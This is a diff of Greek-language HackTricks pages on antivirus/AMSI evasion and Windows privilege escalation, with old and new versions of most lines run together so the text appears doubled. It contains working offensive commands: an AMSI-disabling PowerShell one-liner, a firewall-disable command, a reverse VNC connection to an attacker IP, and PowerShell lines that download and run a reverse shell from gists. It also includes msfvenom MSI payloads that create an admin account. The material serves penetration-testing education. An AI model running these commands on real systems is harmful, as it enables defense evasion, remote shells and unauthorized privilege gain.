Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία του powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση της AMSI. Δεδομένου ότι το AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία του powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτό εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση του AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση του AMSI.
**Εξαναγκασμός Σφάλματος** **Εξαναγκασμός Σφάλματος**
Η εξαναγκασμένη αποτυχία της αρχικοποίησης AMSI (amsiInitFailed) θα έχει ως αποτέλεσμα να μην ξεκινήσει καμία σάρωση για τη τρέχουσα διαδικασία. Αρχικά, αυτό αποκαλύφθηκε από τον [Matt Graeber](https://twitter.com/mattifestation) και η Microsoft έχει αναπτύξει μια υπογραφή για να αποτρέψει τη μεγαλύτερη χρήση. Η εξαναγκασμένη αποτυχία της αρχικοποίησης του AMSI (amsiInitFailed) θα έχει ως αποτέλεσμα να μην ξεκινήσει καμία σάρωση για τη τρέχουσα διαδικασία. Αρχικά, αυτό αποκαλύφθηκε από τον [Matt Graeber](https://twitter.com/mattifestation) και η Microsoft έχει αναπτύξει μια υπογραφή για να αποτρέψει τη μεγαλύτερη χρήση.
```powershell ```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
``` ```
Απαιτήθηκε μόνο μία γραμμή κώδικα powershell για να καταστήσει το AMSI μη λειτουργικό για τη τρέχουσα διαδικασία powershell. Αυτή η γραμμή έχει φυσικά επισημανθεί από το AMSI, οπότε απαιτείται κάποια τροποποίηση για να χρησιμοποιηθεί αυτή η τεχνική. Απαιτήθηκε μόνο μία γραμμή κώδικα powershell για να καταστήσει το AMSI μη λειτουργικό για τη τρέχουσα διαδικασία powershell. Αυτή η γραμμή έχει φυσικά επισημανθεί από το AMSI, οπότε απαιτείται κάποια τροποποίηση προκειμένου να χρησιμοποιηθεί αυτή η τεχνική.
Εδώ είναι μια τροποποιημένη παράκαμψη AMSI που πήρα από αυτό το [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). Εδώ είναι μια τροποποιημένη παράκαμψη AMSI που πήρα από αυτό το [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell ```powershell
@ -183,12 +185,12 @@ $Spotfix.SetValue($null,$true)
**Memory Patching** **Memory Patching**
Αυτή η τεχνική ανακαλύφθηκε αρχικά από [@RastaMouse](https://twitter.com/_RastaMouse/) και περιλαμβάνει την εύρεση διεύθυνσης για τη λειτουργία "AmsiScanBuffer" στο amsi.dll (υπεύθυνη για την σάρωση της εισόδου που παρέχεται από τον χρήστη) και την αντικατάστασή της με οδηγίες για την επιστροφή του κωδικού E_INVALIDARG, με αυτόν τον τρόπο, το αποτέλεσμα της πραγματικής σάρωσης θα επιστρέφει 0, το οποίο ερμηνεύεται ως καθαρό αποτέλεσμα. Αυτή η τεχνική ανακαλύφθηκε αρχικά από [@RastaMouse](https://twitter.com/_RastaMouse/) και περιλαμβάνει την εύρεση διεύθυνσης για τη λειτουργία "AmsiScanBuffer" στο amsi.dll (υπεύθυνη για την σάρωση της εισόδου που παρέχεται από τον χρήστη) και την αντικατάστασή της με οδηγίες για την επιστροφή του κωδικού E_INVALIDARG, έτσι ώστε το αποτέλεσμα της πραγματικής σάρωσης να επιστρέφει 0, το οποίο ερμηνεύεται ως καθαρό αποτέλεσμα.
> [!NOTE] > [!NOTE]
> Παρακαλώ διαβάστε [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) για μια πιο λεπτομερή εξήγηση. > Παρακαλώ διαβάστε [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) για μια πιο λεπτομερή εξήγηση.
Υπάρχουν επίσης πολλές άλλες τεχνικές που χρησιμοποιούνται για να παρακάμψουν το AMSI με powershell, δείτε [**αυτή τη σελίδα**](basic-powershell-for-pentesters/#amsi-bypass) και [αυτό το repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) για να μάθετε περισσότερα σχετικά με αυτές. Υπάρχουν επίσης πολλές άλλες τεχνικές που χρησιμοποιούνται για την παράκαμψη του AMSI με powershell, δείτε [**αυτή τη σελίδα**](basic-powershell-for-pentesters/#amsi-bypass) και [αυτό το repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) για να μάθετε περισσότερα σχετικά με αυτές.
Ή αυτό το σενάριο που μέσω memory patching θα διορθώσει κάθε νέο Powersh Ή αυτό το σενάριο που μέσω memory patching θα διορθώσει κάθε νέο Powersh
@ -199,12 +201,12 @@ $Spotfix.SetValue($null,$true)
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας σύνθεσης ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) και tamper-proofing. - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας σύνθεσης ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) και tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνθεσης, obfuscated code χωρίς τη χρήση εξωτερικού εργαλείου και χωρίς να τροποποιήσετε τον μεταγλωττιστή. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνθεσης, obfuscated code χωρίς τη χρήση εξωτερικού εργαλείου και χωρίς να τροποποιήσετε τον μεταγλωττιστή.
- [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση obfuscated operations που παράγονται από το πλαίσιο metaprogramming C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη. - [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση obfuscated operations που δημιουργούνται από το πλαίσιο metaprogramming C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας obfuscator x64 binary που είναι ικανός να obfuscate διάφορα διαφορετικά αρχεία pe συμπεριλαμβανομένων: .exe, .dll, .sys - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας obfuscator x64 binary που είναι ικανός να obfuscate διάφορα διαφορετικά αρχεία pe, συμπεριλαμβανομένων: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Το Metame είναι μια απλή μηχανή metamorphic code για αυθαίρετους εκτελέσιμους. - [**metame**](https://github.com/a0rtega/metame): Το Metame είναι μια απλή μηχανή metamorphic code για αυθαίρετους εκτελέσιμους.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα λεπτομερές πλαίσιο obfuscation κώδικα για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (return-oriented programming). Το ROPfuscator obfuscates ένα πρόγραμμα σε επίπεδο κώδικα assembly μετατρέποντας κανονικές εντολές σε ROP chains, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου. - [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα λεπτομερές πλαίσιο obfuscation κώδικα για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (return-oriented programming). Το ROPfuscator obfuscates ένα πρόγραμμα σε επίπεδο κώδικα assembly μετατρέποντας κανονικές εντολές σε ROP chains, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένα .NET PE Crypter γραμμένο σε Nim - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένα .NET PE Crypter γραμμένο σε Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Το Inceptor είναι ικανό να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Το Inceptor είναι ικανό να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει.
## SmartScreen & MoTW ## SmartScreen & MoTW
@ -265,13 +267,13 @@ Adding file: /TotallyLegitApp.exe
- **Fork\&Run** - **Fork\&Run**
Αυτό περιλαμβάνει **δημιουργία μιας νέας θυσιαστικής διαδικασίας**, εισάγοντας τον κακόβουλο κώδικα post-exploitation σε αυτή τη νέα διαδικασία, εκτελώντας τον κακόβουλο κώδικα και όταν τελειώσει, σκοτώνοντας τη νέα διαδικασία. Αυτό έχει τόσο τα πλεονεκτήματα όσο και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **έξω** από τη διαδικασία του Beacon implant μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια post-exploitation μας πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει το implant μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Behavioral Detections**. Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα post-exploitation σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα και όταν τελειώσει, την εξόντωση της νέας διαδικασίας. Αυτό έχει τόσο τα πλεονεκτήματα όσο και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **εκτός** της διαδικασίας εμφύτευσης Beacon μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια post-exploitation μας πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει η εμφύτευσή μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Behavioral Detections**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline** - **Inline**
Αφορά την εισαγωγή του κακόβουλου κώδικα post-exploitation **στη δική του διαδικασία**. Με αυτόν τον τρόπο, μπορείτε να αποφύγετε τη δημιουργία νέας διαδικασίας και να την σκανάρετε από το AV, αλλά το μειονέκτημα είναι ότι αν κάτι πάει στραβά με την εκτέλεση του payload σας, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **χάσετε το beacon σας** καθώς μπορεί να καταρρεύσει. Αφορά την έγχυση του κακόβουλου κώδικα post-exploitation **στη δική του διαδικασία**. Με αυτόν τον τρόπο, μπορείτε να αποφύγετε τη δημιουργία νέας διαδικασίας και να την σκανάρετε από το AV, αλλά το μειονέκτημα είναι ότι αν κάτι πάει στραβά με την εκτέλεση του payload σας, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **χάσετε το beacon σας** καθώς μπορεί να καταρρεύσει.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -280,13 +282,13 @@ Adding file: /TotallyLegitApp.exe
Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Χρήση Άλλων Γλωσσών Προγραμματισμού ## Χρησιμοποιώντας Άλλες Γλώσσες Προγραμματισμού
Όπως προτάθηκε στο [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), είναι δυνατόν να εκτελέσετε κακόβουλο κώδικα χρησιμοποιώντας άλλες γλώσσες δίνοντας στη συμβιβασμένη μηχανή πρόσβαση **στο περιβάλλον διερμηνέα που είναι εγκατεστημένο στο SMB share που ελέγχεται από τον επιτιθέμενο**. Όπως προτάθηκε στο [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), είναι δυνατό να εκτελέσετε κακόβουλο κώδικα χρησιμοποιώντας άλλες γλώσσες δίνοντας στη συμβιβασμένη μηχανή πρόσβαση **στο περιβάλλον διερμηνέα που είναι εγκατεστημένο στο SMB share που ελέγχεται από τον επιτιθέμενο**.
Επιτρέποντας πρόσβαση στα Interpreter Binaries και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες μέσα στη μνήμη** της συμβιβασμένης μηχανής. Επιτρέποντας την πρόσβαση στα Interpreter Binaries και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες μέσα στη μνήμη** της συμβιβασμένης μηχανής.
Το repo υποδεικνύει: Ο Defender σκανάρει ακόμα τα scripts αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Οι δοκιμές με τυχαία μη-αποκρυπτογραφημένα reverse shell scripts σε αυτές τις γλώσσες έχουν αποδειχθεί επιτυχείς. Το repo υποδεικνύει: Ο Defender σκανάρει ακόμα τα scripts αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Η δοκιμή με τυχαία μη-αποκρυπτογραφημένα reverse shell scripts σε αυτές τις γλώσσες έχει αποδειχθεί επιτυχής.
## Προχωρημένη Απόκρυψη ## Προχωρημένη Απόκρυψη
@ -296,18 +298,22 @@ Adding file: /TotallyLegitApp.exe
Σας προτείνω να παρακολουθήσετε αυτή την ομιλία από τον [@ATTL4S](https://twitter.com/DaniLJ94), για να αποκτήσετε μια βάση σε πιο προχωρημένες τεχνικές απόκρυψης. Σας προτείνω να παρακολουθήσετε αυτή την ομιλία από τον [@ATTL4S](https://twitter.com/DaniLJ94), για να αποκτήσετε μια βάση σε πιο προχωρημένες τεχνικές απόκρυψης.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} {{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Αυτή είναι επίσης μια άλλη εξαιρετική ομιλία από τον [@mariuszbit](https://twitter.com/mariuszbit) σχετικά με την Απόκρυψη σε Βάθος. Αυτή είναι επίσης μια άλλη εξαιρετική ομιλία από τον [@mariuszbit](https://twitter.com/mariuszbit) σχετικά με την Απόκρυψη σε Βάθος.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} {{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Παλαιές Τεχνικές** ## **Παλαιές Τεχνικές**
### **Ελέγξτε ποιες περιοχές βρίσκει ο Defender ως κακόβουλες** ### **Ελέγξτε ποια μέρη βρίσκει ο Defender ως κακόβουλα**
Μπορείτε να χρησιμοποιήσετε [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) που θα **αφαιρέσει μέρη του binary** μέχρι να **ανακαλύψει ποιο μέρος βρίσκει ο Defender** ως κακόβουλο και να το διαχωρίσει για εσάς.\ Μπορείτε να χρησιμοποιήσετε [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) το οποίο θα **αφαιρέσει μέρη του binary** μέχρι να **ανακαλύψει ποιο μέρος βρίσκει ο Defender** ως κακόβουλο και να το διαχωρίσει για εσάς.\
Ένα άλλο εργαλείο που κάνει το **ίδιο πράγμα είναι** [**avred**](https://github.com/dobin/avred) με μια ανοιχτή ιστοσελίδα που προσφέρει την υπηρεσία στο [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) Ένα άλλο εργαλείο που κάνει το **ίδιο είναι** [**avred**](https://github.com/dobin/avred) με μια ανοιχτή ιστοσελίδα που προσφέρει την υπηρεσία στο [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server** ### **Telnet Server**
@ -340,7 +346,7 @@ netsh advfirewall set allprofiles state off
Ο **επιτιθέμενος** θα πρέπει να **εκτελέσει μέσα** στον **host** του το δυαδικό `vncviewer.exe -listen 5900` ώστε να είναι **έτοιμος** να πιάσει μια αντίστροφη **VNC σύνδεση**. Στη συνέχεια, μέσα στον **θύμα**: Ξεκινήστε τον δαίμονα winvnc `winvnc.exe -run` και εκτελέστε `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` Ο **επιτιθέμενος** θα πρέπει να **εκτελέσει μέσα** στον **host** του το δυαδικό `vncviewer.exe -listen 5900` ώστε να είναι **έτοιμος** να πιάσει μια αντίστροφη **VNC σύνδεση**. Στη συνέχεια, μέσα στον **θύμα**: Ξεκινήστε τον δαίμονα winvnc `winvnc.exe -run` και εκτελέστε `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την αθόρυβη λειτουργία, δεν πρέπει να κάνετε μερικά πράγματα **ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την κρυψίνοια δεν πρέπει να κάνετε μερικά πράγματα
- Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc` - Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc`
- Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το [παράθυρο ρύθμισης](https://i.imgur.com/rfMQWcf.png) να ανοίξει - Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το [παράθυρο ρύθμισης](https://i.imgur.com/rfMQWcf.png) να ανοίξει
@ -471,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit: 32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
``` ```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %} {{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Λίστα αποσυμπιεστών C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) Λίστα αποσυμπιεστών C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -521,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) - [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
### **Καλύτερο εργαλείο για αναζήτηση διανυσμάτων τοπικής κλιμάκωσης προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### **Καλύτερο εργαλείο για αναζήτηση διανυσμάτων τοπικής κλιμάκωσης δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
## Αρχική Θεωρία Windows ## Αρχική Θεωρία Windows
@ -32,7 +32,7 @@ integrity-levels.md
## Έλεγχοι Ασφαλείας Windows ## Έλεγχοι Ασφαλείας Windows
Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν **να σας εμποδίσουν να καταγράψετε το σύστημα**, να εκτελέσετε εκτελέσιμα ή ακόμα και **να ανιχνεύσουν τις δραστηριότητές σας**. Θα πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και **να καταγράψετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την καταγραφή κλιμάκωσης προνομίων: Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν **να σας εμποδίσουν να καταγράψετε το σύστημα**, να εκτελέσετε εκτελέσιμα ή ακόμα και **να ανιχνεύσουν τις δραστηριότητές σας**. Θα πρέπει **να διαβάσετε** την παρακάτω **σελίδα** και **να καταγράψετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την καταγραφή κλιμάκωσης δικαιωμάτων:
{{#ref}} {{#ref}}
../authentication-credentials-uac-and-efs/ ../authentication-credentials-uac-and-efs/
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw cat (Get-PSReadlineOption).HistorySavePath | sls passw
``` ```
### PowerShell Transcript αρχεία ### Αρχεία Transcript PowerShell
Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash ```bash
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
``` ```
### PowerShell **Script Block Logging** ### PowerShell **Script Block Logging**
Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων τη στιγμή της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων κατά τη διάρκεια της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία.
```bash ```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
``` ```
Τα γεγονότα καταγραφής για το Script Block μπορούν να εντοπιστούν μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Τα γεγονότα καταγραφής για το Script Block μπορούν να βρεθούν μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
Για να δείτε τα τελευταία 20 γεγονότα μπορείτε να χρησιμοποιήσετε: Για να δείτε τα τελευταία 20 γεγονότα μπορείτε να χρησιμοποιήσετε:
```bash ```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε η καταχώρηση WSUS θα αγνοηθεί. Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε η καταχώρηση WSUS θα αγνοηθεί.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM εκμετάλλευσης για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία. Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM εκμετάλλευσης για να εισάγουν 'ψευδείς' ενημερώσεις σε μη-SSL WSUS κυκλοφορία.
Διαβάστε την έρευνα εδώ: Διαβάστε την έρευνα εδώ:
@ -199,7 +199,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
``` ```
### Metasploit payloads ### Payloads Metasploit
```bash ```bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
@ -216,7 +216,7 @@ Write-UserAddMSI
### MSI Wrapper ### MSI Wrapper
